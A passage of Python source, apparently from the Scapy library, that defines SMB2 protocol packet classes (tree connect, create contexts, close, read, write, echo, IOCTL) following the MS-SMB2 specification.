Request\"\n    Command = 0x0002\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x4),\n        ShortField(\"reserved\", 0),\n    ]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Session_Logoff_Request,\n    Command=0x0002,\n)\n\n# sect 2.2.8\n\n\nclass SMB2_Session_Logoff_Response(_SMB2_Payload):\n    name = \"SMB2 LOGOFF Request\"\n    Command = 0x0002\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x4),\n        ShortField(\"reserved\", 0),\n    ]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Session_Logoff_Response,\n    Command=0x0002,\n    Flags=1,  # SMB2_FLAGS_SERVER_TO_REDIR\n)\n\n# sect 2.2.9\n\n\nclass SMB2_Tree_Connect_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 TREE_CONNECT Request\"\n    Command = 0x0003\n    OFFSET = 8 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x9),\n        FlagsField(\n            \"Flags\",\n            0,\n            -16,\n            [\"CLUSTER_RECONNECT\", \"REDIRECT_TO_OWNER\", \"EXTENSION_PRESENT\"],\n        ),\n        XLEShortField(\"PathBufferOffset\", None),\n        LEShortField(\"PathLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                StrFieldUtf16(\"Path\", b\"\"),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Path\": 4,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Tree_Connect_Request,\n    Command=0x0003,\n)\n\n# sect 2.2.10\n\n\nclass SMB2_Tree_Connect_Response(_SMB2_Payload):\n    name = \"SMB2 TREE_CONNECT Response\"\n    Command = 0x0003\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x10),\n        ByteEnumField(\"ShareType\", 0, {0x01: \"DISK\", 0x02: \"PIPE\", 0x03: \"PRINT\"}),\n        ByteField(\"Reserved\", 0),\n        FlagsField(\n            \"ShareFlags\",\n            0x30,\n            -32,\n            {\n                0x00000010: \"AUTO_CACHING\",\n                0x00000020: \"VDO_CACHING\",\n                0x00000030: \"NO_CACHING\",\n                0x00000001: \"DFS\",\n                0x00000002: \"DFS_ROOT\",\n                0x00000100: \"RESTRICT_EXCLUSIVE_OPENS\",\n                0x00000200: \"FORCE_SHARED_DELETE\",\n                0x00000400: \"ALLOW_NAMESPACE_CACHING\",\n                0x00000800: \"ACCESS_BASED_DIRECTORY_ENUM\",\n                0x00001000: \"FORCE_LEVELII_OPLOCK\",\n                0x00002000: \"ENABLE_HASH_V1\",\n                0x00004000: \"ENABLE_HASH_V2\",\n                0x00008000: \"ENCRYPT_DATA\",\n                0x00040000: \"IDENTITY_REMOTING\",\n                0x00100000: \"COMPRESS_DATA\",\n            },\n        ),\n        FlagsField(\n            \"Capabilities\",\n            0,\n            -32,\n            {\n                0x00000008: \"DFS\",\n                0x00000010: \"CONTINUOUS_AVAILABILITY\",\n                0x00000020: \"SCALEOUT\",\n                0x00000040: \"CLUSTER\",\n                0x00000080: \"ASYMMETRIC\",\n                0x00000100: \"REDIRECT_TO_OWNER\",\n            },\n        ),\n        FlagsField(\"MaximalAccess\", 0, -32, SMB2_ACCESS_FLAGS_FILE),\n    ]\n\n\nbind_top_down(SMB2_Header, SMB2_Tree_Connect_Response, Command=0x0003, Flags=1)\n\n# sect 2.2.11\n\n\nclass SMB2_Tree_Disconnect_Request(_SMB2_Payload):\n    name = \"SMB2 TREE_DISCONNECT Request\"\n    Command = 0x0004\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x4),\n        XLEShortField(\"Reserved\", 0),\n    ]\n\n\nbind_top_down(SMB2_Header, SMB2_Tree_Disconnect_Request, Command=0x0004)\n\n# sect 2.2.12\n\n\nclass SMB2_Tree_Disconnect_Response(_SMB2_Payload):\n    name = \"SMB2 TREE_DISCONNECT Response\"\n    Command = 0x0004\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x4),\n        XLEShortField(\"Reserved\", 0),\n    ]\n\n\nbind_top_down(SMB2_Header, SMB2_Tree_Disconnect_Response, Command=0x0004, Flags=1)\n\n\n# sect 2.2.14.1\n\n\nclass SMB2_FILEID(Packet):\n    fields_desc = [XLELongField(\"Persistent\", 0), XLELongField(\"Volatile\", 0)]\n\n    def __hash__(self):\n        return self.Persistent + self.Volatile << 64\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n# sect 2.2.14.2\n\n\nclass SMB2_CREATE_DURABLE_HANDLE_RESPONSE(Packet):\n    fields_desc = [\n        XStrFixedLenField(\"Reserved\", b\"\\x00\" * 8, length=8),\n    ]\n\n\nclass SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE(Packet):\n    fields_desc = [\n        LEIntEnumField(\"QueryStatus\", 0, STATUS_ERREF),\n        FlagsField(\"MaximalAccess\", 0, -32, SMB2_ACCESS_FLAGS_FILE),\n    ]\n\n\nclass SMB2_CREATE_QUERY_ON_DISK_ID(Packet):\n    fields_desc = [\n        XLELongField(\"DiskFileId\", 0),\n        XLELongField(\"VolumeId\", 0),\n        XStrFixedLenField(\"Reserved\", b\"\", length=16),\n    ]\n\n\nclass SMB2_CREATE_RESPONSE_LEASE(Packet):\n    fields_desc = [\n        UUIDField(\"LeaseKey\", None),\n        FlagsField(\n            \"LeaseState\",\n            0x7,\n            -32,\n            {\n                0x01: \"SMB2_LEASE_READ_CACHING\",\n                0x02: \"SMB2_LEASE_HANDLE_CACHING\",\n                0x04: \"SMB2_LEASE_WRITE_CACHING\",\n            },\n        ),\n        FlagsField(\n            \"LeaseFlags\",\n            0,\n            -32,\n            {\n                0x02: \"SMB2_LEASE_FLAG_BREAK_IN_PROGRESS\",\n                0x04: \"SMB2_LEASE_FLAG_PARENT_LEASE_KEY_SET\",\n            },\n        ),\n        LELongField(\"LeaseDuration\", 0),\n    ]\n\n\nclass SMB2_CREATE_RESPONSE_LEASE_V2(Packet):\n    fields_desc = [\n        SMB2_CREATE_RESPONSE_LEASE,\n        UUIDField(\"ParentLeaseKey\", None),\n        LEShortField(\"Epoch\", 0),\n        LEShortField(\"Reserved\", 0),\n    ]\n\n\nclass SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2(Packet):\n    fields_desc = [\n        LEIntField(\"Timeout\", 0),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x02: \"SMB2_DHANDLE_FLAG_PERSISTENT\",\n            },\n        ),\n    ]\n\n\n# sect 2.2.13\n\n\nclass SMB2_CREATE_DURABLE_HANDLE_REQUEST(Packet):\n    fields_desc = [\n        XStrFixedLenField(\"DurableRequest\", b\"\", length=16),\n    ]\n\n\nclass SMB2_CREATE_DURABLE_HANDLE_RECONNECT(Packet):\n    fields_desc = [\n        PacketField(\"Data\", SMB2_FILEID(), SMB2_FILEID),\n    ]\n\n\nclass SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST(Packet):\n    fields_desc = [\n        LELongField(\"Timestamp\", 0),\n    ]\n\n\nclass SMB2_CREATE_ALLOCATION_SIZE(Packet):\n    fields_desc = [\n        LELongField(\"AllocationSize\", 0),\n    ]\n\n\nclass SMB2_CREATE_TIMEWARP_TOKEN(Packet):\n    fields_desc = [\n        LELongField(\"Timestamp\", 0),\n    ]\n\n\nclass SMB2_CREATE_REQUEST_LEASE(Packet):\n    fields_desc = [\n        SMB2_CREATE_RESPONSE_LEASE,\n    ]\n\n\nclass SMB2_CREATE_REQUEST_LEASE_V2(Packet):\n    fields_desc = [\n        SMB2_CREATE_RESPONSE_LEASE_V2,\n    ]\n\n\nclass SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2(Packet):\n    fields_desc = [\n        SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2,\n        XStrFixedLenField(\"Reserved\", b\"\", length=8),\n        UUIDField(\"CreateGuid\", 0x0, uuid_fmt=UUIDField.FORMAT_LE),\n    ]\n\n\nclass SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2(Packet):\n    fields_desc = [\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n        UUIDField(\"CreateGuid\", 0x0, uuid_fmt=UUIDField.FORMAT_LE),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x02: \"SMB2_DHANDLE_FLAG_PERSISTENT\",\n            },\n        ),\n    ]\n\n\nclass SMB2_CREATE_APP_INSTANCE_ID(Packet):\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x14),\n        LEShortField(\"Reserved\", 0),\n        XStrFixedLenField(\"AppInstanceId\", b\"\", length=16),\n    ]\n\n\nclass SMB2_CREATE_APP_INSTANCE_VERSION(Packet):\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x18),\n        LEShortField(\"Reserved\", 0),\n        LEIntField(\"Padding\", 0),\n        LELongField(\"AppInstanceVersionHigh\", 0),\n        LELongField(\"AppInstanceVersionLow\", 0),\n    ]\n\n\nclass SMB2_Create_Context(_NTLMPayloadPacket):\n    name = \"SMB2 CREATE CONTEXT\"\n    OFFSET = 16\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        LEIntField(\"Next\", None),\n        XLEShortField(\"NameBufferOffset\", None),\n        LEShortField(\"NameLen\", None),\n        ShortField(\"Reserved\", 0),\n        XLEShortField(\"DataBufferOffset\", None),\n        LEIntField(\"DataLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                PadField(\n                    StrLenField(\"Name\", b\"\", length_from=lambda pkt: pkt.NameLen),\n                    8,\n                ),\n                # Must be padded on 8-octet alignment\n                PacketLenField(\n                    \"Data\", None, conf.raw_layer, length_from=lambda pkt: pkt.DataLen\n                ),\n            ],\n            force_order=[\"Name\", \"Data\"],\n        ),\n        StrLenField(\n            \"pad\",\n            b\"\",\n            length_from=lambda x: (\n                (\n                    x.Next\n                    - max(\n                        x.DataBufferOffset + x.DataLen, x.NameBufferOffset + x.NameLen\n                    )\n                )\n                if x.Next\n                else 0\n            ),\n        ),\n    ]\n\n    def post_dissect(self, s):\n        if not self.DataLen:\n            return s\n        try:\n            if isinstance(self.parent, SMB2_Create_Request):\n                data_cls = {\n                    b\"DHnQ\": SMB2_CREATE_DURABLE_HANDLE_REQUEST,\n                    b\"DHnC\": SMB2_CREATE_DURABLE_HANDLE_RECONNECT,\n                    b\"AISi\": SMB2_CREATE_ALLOCATION_SIZE,\n                    b\"MxAc\": SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST,\n                    b\"TWrp\": SMB2_CREATE_TIMEWARP_TOKEN,\n                    b\"QFid\": SMB2_CREATE_QUERY_ON_DISK_ID,\n                    b\"RqLs\": SMB2_CREATE_REQUEST_LEASE,\n                    b\"DH2Q\": SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2,\n                    b\"DH2C\": SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2,\n                    # 3.1.1 only\n                    b\"E\\xbc\\xa6j\\xef\\xa7\\xf7J\\x90\\x08\\xfaF.\\x14Mt\": SMB2_CREATE_APP_INSTANCE_ID,  # noqa: E501\n                    b\"\\xb9\\x82\\xd0\\xb7;V\\x07O\\xa0{RJ\\x81\\x16\\xa0\\x10\": SMB2_CREATE_APP_INSTANCE_VERSION,  # noqa: E501\n                }[self.Name]\n                if self.Name == b\"RqLs\" and self.DataLen > 32:\n                    data_cls = SMB2_CREATE_REQUEST_LEASE_V2\n            elif isinstance(self.parent, SMB2_Create_Response):\n                data_cls = {\n                    b\"DHnQ\": SMB2_CREATE_DURABLE_HANDLE_RESPONSE,\n                    b\"MxAc\": SMB2_CREATE_QUERY_MAXIMAL_ACCESS_RESPONSE,\n                    b\"QFid\": SMB2_CREATE_QUERY_ON_DISK_ID,\n                    b\"RqLs\": SMB2_CREATE_RESPONSE_LEASE,\n                    b\"DH2Q\": SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2,\n                }[self.Name]\n                if self.Name == b\"RqLs\" and self.DataLen > 32:\n                    data_cls = SMB2_CREATE_RESPONSE_LEASE_V2\n            else:\n                return s\n        except KeyError:\n            return s\n        self.Data = data_cls(self.Data.load)\n        return s\n\n    def default_payload_class(self, _):\n        return conf.padding_layer\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NTLM_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Name\": 4,\n                    \"Data\": 10,\n                },\n                config=[\n                    (\n                        \"BufferOffset\",\n                        {\n                            \"Name\": _NTLM_ENUM.OFFSET,\n                            \"Data\": _NTLM_ENUM.OFFSET | _NTLM_ENUM.PAD8,\n                        },\n                    ),\n                    (\"Len\", _NTLM_ENUM.LEN),\n                ],\n            )\n            + pay\n        )\n\n\n# sect 2.2.13\n\nSMB2_OPLOCK_LEVELS = {\n    0x00: \"SMB2_OPLOCK_LEVEL_NONE\",\n    0x01: \"SMB2_OPLOCK_LEVEL_II\",\n    0x08: \"SMB2_OPLOCK_LEVEL_EXCLUSIVE\",\n    0x09: \"SMB2_OPLOCK_LEVEL_BATCH\",\n    0xFF: \"SMB2_OPLOCK_LEVEL_LEASE\",\n}\n\n\nclass SMB2_Create_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 CREATE Request\"\n    Command = 0x0005\n    OFFSET = 56 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x39),\n        ByteField(\"ShareType\", 0),\n        ByteEnumField(\"RequestedOplockLevel\", 0, SMB2_OPLOCK_LEVELS),\n        LEIntEnumField(\n            \"ImpersonationLevel\",\n            0,\n            {\n                0x00000000: \"Anonymous\",\n                0x00000001: \"Identification\",\n                0x00000002: \"Impersonation\",\n                0x00000003: \"Delegate\",\n            },\n        ),\n        LELongField(\"SmbCreateFlags\", 0),\n        LELongField(\"Reserved\", 0),\n        FlagsField(\"DesiredAccess\", 0, -32, SMB2_ACCESS_FLAGS_FILE),\n        FlagsField(\"FileAttributes\", 0x00000080, -32, FileAttributes),\n        FlagsField(\n            \"ShareAccess\",\n            0,\n            -32,\n            {\n                0x00000001: \"FILE_SHARE_READ\",\n                0x00000002: \"FILE_SHARE_WRITE\",\n                0x00000004: \"FILE_SHARE_DELETE\",\n            },\n        ),\n        LEIntEnumField(\n            \"CreateDisposition\",\n            1,\n            {\n                0x00000000: \"FILE_SUPERSEDE\",\n                0x00000001: \"FILE_OPEN\",\n                0x00000002: \"FILE_CREATE\",\n                0x00000003: \"FILE_OPEN_IF\",\n                0x00000004: \"FILE_OVERWRITE\",\n                0x00000005: \"FILE_OVERWRITE_IF\",\n            },\n        ),\n        FlagsField(\n            \"CreateOptions\",\n            0,\n            -32,\n            {\n                0x00000001: \"FILE_DIRECTORY_FILE\",\n                0x00000002: \"FILE_WRITE_THROUGH\",\n                0x00000004: \"FILE_SEQUENTIAL_ONLY\",\n                0x00000008: \"FILE_NO_INTERMEDIATE_BUFFERING\",\n                0x00000010: \"FILE_SYNCHRONOUS_IO_ALERT\",\n                0x00000020: \"FILE_SYNCHRONOUS_IO_NONALERT\",\n                0x00000040: \"FILE_NON_DIRECTORY_FILE\",\n                0x00000100: \"FILE_COMPLETE_IF_OPLOCKED\",\n                0x00000200: \"FILE_RANDOM_ACCESS\",\n                0x00001000: \"FILE_DELETE_ON_CLOSE\",\n                0x00002000: \"FILE_OPEN_BY_FILE_ID\",\n                0x00004000: \"FILE_OPEN_FOR_BACKUP_INTENT\",\n                0x00008000: \"FILE_NO_COMPRESSION\",\n                0x00000400: \"FILE_OPEN_REMOTE_INSTANCE\",\n                0x00010000: \"FILE_OPEN_REQUIRING_OPLOCK\",\n                0x00020000: \"FILE_DISALLOW_EXCLUSIVE\",\n                0x00100000: \"FILE_RESERVE_OPFILTER\",\n                0x00200000: \"FILE_OPEN_REPARSE_POINT\",\n                0x00400000: \"FILE_OPEN_NO_RECALL\",\n                0x00800000: \"FILE_OPEN_FOR_FREE_SPACE_QUERY\",\n            },\n        ),\n        XLEShortField(\"NameBufferOffset\", None),\n        LEShortField(\"NameLen\", None),\n        XLEIntField(\"CreateContextsBufferOffset\", None),\n        LEIntField(\"CreateContextsLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                StrFieldUtf16(\"Name\", b\"\"),\n                _NextPacketListField(\n                    \"CreateContexts\",\n                    [],\n                    SMB2_Create_Context,\n                    length_from=lambda pkt: pkt.CreateContextsLen,\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        if len(pkt) == 0x38:\n            # 'In the request, the Buffer field MUST be at least one byte in length.'\n            pkt += b\"\\x00\"\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Name\": 44,\n                    \"CreateContexts\": 48,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(SMB2_Header, SMB2_Create_Request, Command=0x0005)\n\n\n# sect 2.2.14\n\n\nclass SMB2_Create_Response(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 CREATE Response\"\n    Command = 0x0005\n    OFFSET = 88 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x59),\n        ByteEnumField(\"OplockLevel\", 0, SMB2_OPLOCK_LEVELS),\n        FlagsField(\"Flags\", 0, -8, {0x01: \"SMB2_CREATE_FLAG_REPARSEPOINT\"}),\n        LEIntEnumField(\n            \"CreateAction\",\n            1,\n            {\n                0x00000000: \"FILE_SUPERSEDED\",\n                0x00000001: \"FILE_OPENED\",\n                0x00000002: \"FILE_CREATED\",\n                0x00000003: \"FILE_OVERWRITEN\",\n            },\n        ),\n        FileNetworkOpenInformation,\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n        XLEIntField(\"CreateContextsBufferOffset\", None),\n        LEIntField(\"CreateContextsLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                _NextPacketListField(\n                    \"CreateContexts\",\n                    [],\n                    SMB2_Create_Context,\n                    length_from=lambda pkt: pkt.CreateContextsLen,\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"CreateContexts\": 80,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(SMB2_Header, SMB2_Create_Response, Command=0x0005, Flags=1)\n\n# sect 2.2.15\n\n\nclass SMB2_Close_Request(_SMB2_Payload):\n    name = \"SMB2 CLOSE Request\"\n    Command = 0x0006\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x18),\n        FlagsField(\"Flags\", 0, -16, [\"SMB2_CLOSE_FLAG_POSTQUERY_ATTRIB\"]),\n        LEIntField(\"Reserved\", 0),\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n    ]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Close_Request,\n    Command=0x0006,\n)\n\n# sect 2.2.16\n\n\nclass SMB2_Close_Response(_SMB2_Payload):\n    name = \"SMB2 CLOSE Response\"\n    Command = 0x0006\n    FileAttributes = 0\n    CreationTime = 0\n    LastAccessTime = 0\n    LastWriteTime = 0\n    ChangeTime = 0\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x3C),\n        FlagsField(\"Flags\", 0, -16, [\"SMB2_CLOSE_FLAG_POSTQUERY_ATTRIB\"]),\n        LEIntField(\"Reserved\", 0),\n    ] + FileNetworkOpenInformation.fields_desc[:7]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Close_Response,\n    Command=0x0006,\n    Flags=1,\n)\n\n# sect 2.2.19\n\n\nclass SMB2_Read_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 READ Request\"\n    Command = 0x0008\n    OFFSET = 48 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x31),\n        ByteField(\"Padding\", 0x00),\n        FlagsField(\n            \"Flags\",\n            0,\n            -8,\n            {\n                0x01: \"SMB2_READFLAG_READ_UNBUFFERED\",\n                0x02: \"SMB2_READFLAG_REQUEST_COMPRESSED\",\n            },\n        ),\n        LEIntField(\"Length\", 4280),\n        LELongField(\"Offset\", 0),\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n        LEIntField(\"MinimumCount\", 0),\n        LEIntEnumField(\n            \"Channel\",\n            0,\n            {\n                0x00000000: \"SMB2_CHANNEL_NONE\",\n                0x00000001: \"SMB2_CHANNEL_RDMA_V1\",\n                0x00000002: \"SMB2_CHANNEL_RDMA_V1_INVALIDATE\",\n                0x00000003: \"SMB2_CHANNEL_RDMA_TRANSFORM\",\n            },\n        ),\n        LEIntField(\"RemainingBytes\", 0),\n        LEShortField(\"ReadChannelInfoBufferOffset\", None),\n        LEShortField(\"ReadChannelInfoLen\", None),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                StrLenField(\n                    \"ReadChannelInfo\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.ReadChannelInfoLen,\n                )\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        if len(pkt) == 0x30:\n            # 'The first byte of the Buffer field MUST be set to 0.'\n            pkt += b\"\\x00\"\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"ReadChannelInfo\": 44,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Read_Request,\n    Command=0x0008,\n)\n\n# sect 2.2.20\n\n\nclass SMB2_Read_Response(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 READ Response\"\n    Command = 0x0008\n    OFFSET = 16 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x11),\n        LEShortField(\"DataBufferOffset\", None),\n        LEIntField(\"DataLen\", None),\n        LEIntField(\"DataRemaining\", 0),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x01: \"SMB2_READFLAG_RESPONSE_RDMA_TRANSFORM\",\n            },\n        ),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [StrLenField(\"Data\", b\"\", length_from=lambda pkt: pkt.DataLen)],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Data\": 2,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Read_Response,\n    Command=0x0008,\n    Flags=1,\n)\n\n\n# sect 2.2.21\n\n\nclass SMB2_Write_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 WRITE Request\"\n    Command = 0x0009\n    OFFSET = 48 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x31),\n        LEShortField(\"DataBufferOffset\", None),\n        LEIntField(\"DataLen\", None),\n        LELongField(\"Offset\", 0),\n        PacketField(\"FileId\", SMB2_FILEID(), SMB2_FILEID),\n        LEIntEnumField(\n            \"Channel\",\n            0,\n            {\n                0x00000000: \"SMB2_CHANNEL_NONE\",\n                0x00000001: \"SMB2_CHANNEL_RDMA_V1\",\n                0x00000002: \"SMB2_CHANNEL_RDMA_V1_INVALIDATE\",\n                0x00000003: \"SMB2_CHANNEL_RDMA_TRANSFORM\",\n            },\n        ),\n        LEIntField(\"RemainingBytes\", 0),\n        LEShortField(\"WriteChannelInfoBufferOffset\", None),\n        LEShortField(\"WriteChannelInfoLen\", None),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"SMB2_WRITEFLAG_WRITE_THROUGH\",\n                0x00000002: \"SMB2_WRITEFLAG_WRITE_UNBUFFERED\",\n            },\n        ),\n        _NTLMPayloadField(\n            \"Buffer\",\n            OFFSET,\n            [\n                StrLenField(\"Data\", b\"\", length_from=lambda pkt: pkt.DataLen),\n                StrLenField(\n                    \"WriteChannelInfo\",\n                    b\"\",\n                    length_from=lambda pkt: pkt.WriteChannelInfoLen,\n                ),\n            ],\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _SMB2_post_build(\n                self,\n                pkt,\n                self.OFFSET,\n                {\n                    \"Data\": 2,\n                    \"WriteChannelInfo\": 40,\n                },\n            )\n            + pay\n        )\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Write_Request,\n    Command=0x0009,\n)\n\n# sect 2.2.22\n\n\nclass SMB2_Write_Response(_SMB2_Payload):\n    name = \"SMB2 WRITE Response\"\n    Command = 0x0009\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x11),\n        LEShortField(\"Reserved\", 0),\n        LEIntField(\"Count\", 0),\n        LEIntField(\"Remaining\", 0),\n        LEShortField(\"WriteChannelInfoBufferOffset\", 0),\n        LEShortField(\"WriteChannelInfoLen\", 0),\n    ]\n\n\nbind_top_down(SMB2_Header, SMB2_Write_Response, Command=0x0009, Flags=1)\n\n# sect 2.2.28\n\n\nclass SMB2_Echo_Request(_SMB2_Payload):\n    name = \"SMB2 ECHO Request\"\n    Command = 0x000D\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x4),\n        LEShortField(\"Reserved\", 0),\n    ]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Echo_Request,\n    Command=0x000D,\n)\n\n# sect 2.2.29\n\n\nclass SMB2_Echo_Response(_SMB2_Payload):\n    name = \"SMB2 ECHO Response\"\n    Command = 0x000D\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x4),\n        LEShortField(\"Reserved\", 0),\n    ]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Echo_Response,\n    Command=0x000D,\n    Flags=1,  # SMB2_FLAGS_SERVER_TO_REDIR\n)\n\n# sect 2.2.30\n\n\nclass SMB2_Cancel_Request(_SMB2_Payload):\n    name = \"SMB2 CANCEL Request\"\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x4),\n        LEShortField(\"Reserved\", 0),\n    ]\n\n\nbind_top_down(\n    SMB2_Header,\n    SMB2_Cancel_Request,\n    Command=0x0009,\n)\n\n# sect 2.2.31.4\n\n\nclass SMB2_IOCTL_Validate_Negotiate_Info_Request(Packet):\n    name = \"SMB2 IOCTL Validate Negotiate Info\"\n    fields_desc = (\n        SMB2_Negotiate_Protocol_Request.fields_desc[4:6]\n        + SMB2_Negotiate_Protocol_Request.fields_desc[1:3][::-1]  # Cap/GUID\n        + [SMB2_Negotiate_Protocol_Request.fields_desc[9]]  # SecMod/DC  # Dialects\n    )\n\n\n# sect 2.2.31\n\n\nclass _SMB2_IOCTL_Request_PacketLenField(PacketLenField):\n    def m2i(self, pkt, m):\n        if pkt.CtlCode == 0x00140204:  # FSCTL_VALIDATE_NEGOTIATE_INFO\n            return SMB2_IOCTL_Validate_Negotiate_Info_Request(m)\n        elif pkt.CtlCode == 0x00060194:  # FSCTL_DFS_GET_REFERRALS\n            return SMB2_IOCTL_REQ_GET_DFS_Referral(m)\n        elif pkt.CtlCode == 0x00094264:  # FSCTL_OFFLOAD_READ\n            return SMB2_IOCTL_OFFLOAD_READ_Request(m)\n        return conf.raw_layer(m)\n\n\nclass SMB2_IOCTL_Request(_SMB2_Payload, _NTLMPayloadPacket):\n    name = \"SMB2 IOCTL Request\"\n    Command = 0x000B\n    OFFSET = 56 + 64\n    _NTLM_PAYLOAD_FIELD_NAME = \"Buffer\"\n    deprecated_fields = {\n        \"IntputCount\": (\"InputLen\", \"alias\"),\n        \"OutputCount\": (\"OutputLen\", \"alias\"),\n    }\n    fields_desc = [\n        XLEShortField(\"StructureSize\", 0x39),\n        LEShortField(\"Reserved\", 0),\n        LEIntEnumField(\n            \"CtlCode\",\n            0,\n            {\n                0x00060194: \"FSCTL_DFS_GET_REFERRALS\",\n                0x0011400C: \"FSCTL_PIPE_PEEK\",\n                0x00110018: \"FSCTL_PIPE_WAIT\",\n                0x0011C017: \"FSCTL_PIPE_TRANSCEIVE\",\n                0x001440F2: \"FSCTL_SRV_COPYCHUNK\",\n                0x00144064: \"FSCTL_SRV_ENUMERATE_SNAPSHOTS\",\n                0x00140078: \"FSCTL_SRV_REQUEST_RESUME_KEY\",\n                0x001441BB: \"FSCTL_SRV_READ_HASH\",\n                0x001480F2: \"FSCTL_SRV_COPYCHUNK_WRITE\",\n                0x001401D4: \"FSCTL_LMR_REQUEST_RESILIENCY\",\n                0x001401FC: \"FSCTL_QUERY_NETWORK_INTERFACE_INFO\",\n                0x000900A4: \"FSCTL_SET_REPARSE_POINT\",\n                0x000601B0: \"FSCTL_DFS_GET_REFERRALS_EX\",\n                0x00098208: \"FSCTL_FILE_LEVEL_TRIM\",\n                0x00140204: \"FSCTL_VALIDATE_NEGOTIATE_INFO\",\n                0x00094264: \"FSCTL_OFFLOAD_READ\",\n            },\n        ),\n        PacketField(\"FileId\", 